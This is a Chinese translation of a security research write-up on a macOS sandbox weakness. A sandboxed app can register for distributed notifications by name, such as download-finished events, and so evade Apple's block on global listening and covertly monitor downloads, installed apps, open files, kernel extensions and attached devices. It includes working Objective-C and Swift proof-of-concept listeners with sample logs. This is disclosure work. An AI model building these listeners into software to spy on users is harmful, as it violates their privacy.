导语:在本文中,我们详细介绍一个看上去微不足道的隐私问题,尽管Apple试图阻止这一问题,但该漏洞还是允许沙箱应用程序暗中监视普通用户,即使是在最新版本的macOS上也同样存在这一漏洞。
概述
在本文中,我们详细介绍一个看上去微不足道的隐私问题,尽管Apple试图阻止这一问题,但该漏洞还是允许沙箱应用程序暗中监视普通用户,即使是在最新版本的macOS上也同样存在这一漏洞。
该漏洞在Objective-See的Mac安全大会“Objective by the Sea”上首次披露,本文将深入探讨该漏洞的技术细节。
会议上演示的PPT:https://objectivebythesea.com/talks/OBTS_v1_Wardle.pdf
背景
从安全和隐私的角度考虑,沙箱是一个非常好的实现方案。如果一个沙箱被正确设计和实现,那么应用程序会在很大程度上受到各种限制。例如,不能任意访问用户文件,不能捕获击键记录,不能破坏操作系统等等。
当然,任何沙箱的实现都会有一些缺陷,这些缺陷允许恶意应用程序完全“逃离”沙箱,或者在沙箱中绕过某些特定的限制。在本文中,我们遇到的就是第二种情况,恶意应用程序绕过Apple对“分布式通知”的沙箱限制,从而获得沙箱外部环境的信息,并能够监控某些用户隐私和操作系统活动。
OSX/macOS允许应用程序或系统组件“跨越任务边界”来进行广播通知。这一功能被称为“分布式通知”,这些事件通过DistributedNotificationCenter类进行广播。在分布式通知类的官方文档中,Apple将其描述为“通知调度机制,可以跨越任务边界广播通知”。
进一步来说,DistributedNotificationCenter实例将NSNotification对象将广播发送到其他任务的对象,该对象已预先通过其任务的默认分布式通知中心进行注册。
我们发现,在任何时候,APP、程序和系统守护进程都会在全局范围内广播大量(有趣的)通知。通过注册一个全局的分布式通知监听器,我们就可以深入探究这一过程,并了解到许多系统的当前进展,以及用户的当前状态。
要在全局注册以接收所有分布式通知,我们只需要使用值为“nil”的“name”参数调用CFNotificationCenterAddObserver函数(如下所示)。只要任何人广播分布式通知,就会调用指定的回调函数。
在代码中,我们注册了一个全局分布式通知监听器(其中,name参数为nil,指定我们需要监听所有通知):
//callback // invoked anytime anybody broadcasts a notification static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } int main(int argc, const char * argv[]) { //register for distributed notifications // note: as name is nil, this means "all" CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately); [[NSRunLoop currentRunLoop] run]; return 0; }
我们也可以通过NSDistributedNotificationCenter方法进行全局注册,以接收所有分布式通知:
- (void)addObserver:(id)observer selector:(SEL)selector name:(NSNotificationName)name object:(NSString *)object suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;
如果我们编译并执行以下代码,就可以观察各种系统事件,例如屏幕锁定/解锁、屏幕保护程序启动/停止、蓝牙活动、网络活动和用户文件下载:
$ ./sniffsniff 2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked 2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked 2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch 2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart 2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop 2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop 2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan 2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc 2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished 2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip
其中,CFDictionaryRef userInfo和const void *object参数的值,取决于通知。例如,针对“com.apple.DownloadFileFinished”通知,其“object”参数就包含已下载文件的名称。
根据设计,注册这样的一个全局监听器并不需要特殊的权限。但是,在沙箱的上下文中,显然不应该传递这样的通知(发送到沙箱的全局监听器),因为至少从隐私的角度来看,这违反了沙箱隔离的基本概念。
沙箱中的分布式通知
Apple明确认识到,从隐私和安全性的角度来看,沙箱应用程序不应该在全局范围捕获分布式通知。因此,如果沙箱应用程序尝试全局注册分布式通知,操作系统的沙箱就会对此操作执行严格的阻止:
$ ./sniffsniff 2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing. Date/Time: Mon Nov 19 21:21:41 2018 OS Version: 18B75 Application: sniffsniff Backtrace: 0 CoreFoundation 0x00007fff3c082c46 __CFGenerateReport + 197 1 CoreFoundation 0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035 2 CoreFoundation 0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14 3 Foundation 0x00007fff3e28845a -[NSDistributedNotificationCenter addObserver:selector:name:object:suspensionBehavior:] + 233 4 Foundation 0x00007fff3e28836b -[NSDistributedNotificationCenter addObserver:selector:name:object:] + 29 5 sniffsniff 0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142
Apple的macOS沙箱明确的试图阻止恶意应用程序在全局范围内嗅探分布式通知:*** attempt to register for all distributed notifications thwarted by sandboxing(***尝试注册沙箱阻止的所有分布式通知)。
那么,这样就能防范风险了吗?
不幸的是,并不是这样。实际上,这一安全机制没有经过深思熟虑,只是尝试阻止从沙箱中接收全局分布式通知,但是……
全局嗅探macOS Sandbox中的分布式通知
安装最新版本补丁的Mojave沙箱(很可能涉及其他所有版本的macOS)无法充分防止沙箱应用程序接收(可能包含敏感信息的)分布式通知。尽管Apple阻止应用程序注册全局接收分布式通知,但没有任何机制能够阻止沙箱应用程序注册接收任何通知(例如com.apple.DownloadFileFinished)。因此,如果按照名称,注册所有的分布式通知,恶意应用程序可以轻而易举地避开Apple针对沙箱的限制。尽管这需要一些额外的代码来实现,但其带来的影响是造成任何应用程序都可以通过遍历注册,来接收(捕获)到所有分布式通知,包括在沙箱中也是如此。
我们来看一个例子。假如恶意应用程序想要监视用户的下载,在macOS沙箱的上下文中执行时,通常这是被严格禁止的。因为根据定义,沙箱旨在提供一个隔离的环境,以保护用户的安全和隐私。
但是,通过按名称注册来接收com.apple.DownloadFileFinished分布式通知,沙箱的应用程序仍然可以秘密监视用户下载的所有文件。
首先,让我们来确认恶意应用程序(sniffsniff)在沙箱中运行:
然后,我们编写代码,来监听com.apple.DownloadFileFinished分布式通知:
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } - (void)applicationDidFinishLaunching:(NSNotification *)aNotification { NSString* name = @"com.apple.DownloadFileFinished"; CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately); }
从macOS沙箱中运行sniffsniff,即使是在打上最新版本补丁的Mojave沙箱中,也可以实现暗中监控用户的下载行为:
./sniffsniff 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null) 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov
需要注意的是,com.apple.DownloadFileFinished分布式通知似乎仅会对从用户浏览器下载的文件进行广播。但是,其中包括以隐身模式下载的内容!
现在,尽管我们已经可以在沙箱中监控用户的下载行为,但由于其他的沙箱规则,我们无法读取这些文件的具体内容。但是,根据其文件名,其实就可以做大致的判断。
由于我们必须通过名称来注册每个通知(为了绕过沙箱的保护),那么一个重要的问题就是如何确定我们感兴趣的通知的名称(例如com.apple.DownloadFileFinished)。我们认为,可能有一个更加全面的解决方案,就是为所有分布式通知安装一个全局监听器(当然,监听器必须在沙箱之外完成),然后直接观察通知的名称,回到沙箱中,便可以按名称注册任何感兴趣的通知。
我们可以利用之前所写的代码,并借助Digita Security即将发布的MonitorKit的强大监控功能。由于此框架中包含一个监测全局分布式通知的监控器,所以我们用几行代码就可以激活这个监控器,并开始接收所有广播分布式通知的名称:
import Cocoa import MonitorKit @NSApplicationMain class AppDelegate: NSObject, NSApplicationDelegate { func applicationDidFinishLaunching(_ aNotification: Notification) { //call into MonitorKit // enable 'distributed notifications' monitor let monitor = DistributedNotifcationsMonitor() monitor.start() { event in print("event: ", event.name.rawValue) if let userInfo = event.userInfo { print("event info: ", userInfo) } if let object = event.object { print("event object: ", object) } } } }
执行此代码后,可以显示一些有趣的分布式通知(恶意沙箱应用程序可以注册并观察):
新安装的应用程序:
com.apple.LaunchServices.applicationRegistered
event info: [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>( com.objective-see.KnockKnock)
打开的源代码文件:
com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
event info: [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
使用中的应用程序:
com.apple.sharedfilelist.change
event info: [AnyHashable("originatorAuditToken"): ] event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat event info: [AnyHashable("originatorAuditToken"): ] event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
加载的内核扩展:
Loaded Kext Notification
KextArrayKey = ( "com.apple.message.bundleID" = "com.objective-see.lulu"; "com.apple.message.kextname" = "LuLu.kext"; "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext"; "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
下载文件:
com.apple.DownloadFileFinished
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
HID设备:
com.apple.MultitouchSupport.HID.DeviceAdded
event info: [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
蓝牙设备:
com.apple.bluetooth.status
event info: [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>( { ADDRESS = "60-c5-47-89-08-cc"; NAME = "Apple Trackpad"; "PRODUCT_ID" = 782; "SNIFF_ATTEMPTS" = 2; "VENDOR_ID" = 1452; }, { ADDRESS = "04-52-c7-77-0d-4e"; NAME = "Bose QuietComfort 35"; "PRODUCT_ID" = 16396; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 158; }, { ADDRESS = "34-88-5d-6b-5b-49"; NAME = "Logitech K811"; "PRODUCT_ID" = 45847; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 1133; })
卸载卷(USB等):
com.apple.unmountassistant.process.start
event info: [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
总结
macOS沙箱明确设计了用于防止沙箱应用程序深入查看用户隐私和系统操作的机制。Apple清楚的意识到全局分布式通知监听器可能会阻碍这一设计目标,因此试图阻止:
*** attempt to register for all distributed notifications thwarted by sandboxing(***尝试注册沙箱阻止的所有分布式通知)。
不幸的是,这一尝试并没能有效防范这一问题。通过简单的按名称注册通知,沙箱应用程序就可以遍历注册并接收(捕获)全部的分布式通知。这样一来,攻击者就可以违反了沙盒的核心原则,并可能会侵犯用户的隐私:跟踪新应用程序的安装过程、监视正在使用的各种文件和应用程序、跟踪加载的文件夹、监视用户下载等等。
尽管,这个防范措施本身并不会构成安全漏洞,但它显然违反了macOS沙箱的设计模板。因此,我觉得他们肯定会尝试进行修复(又一次)。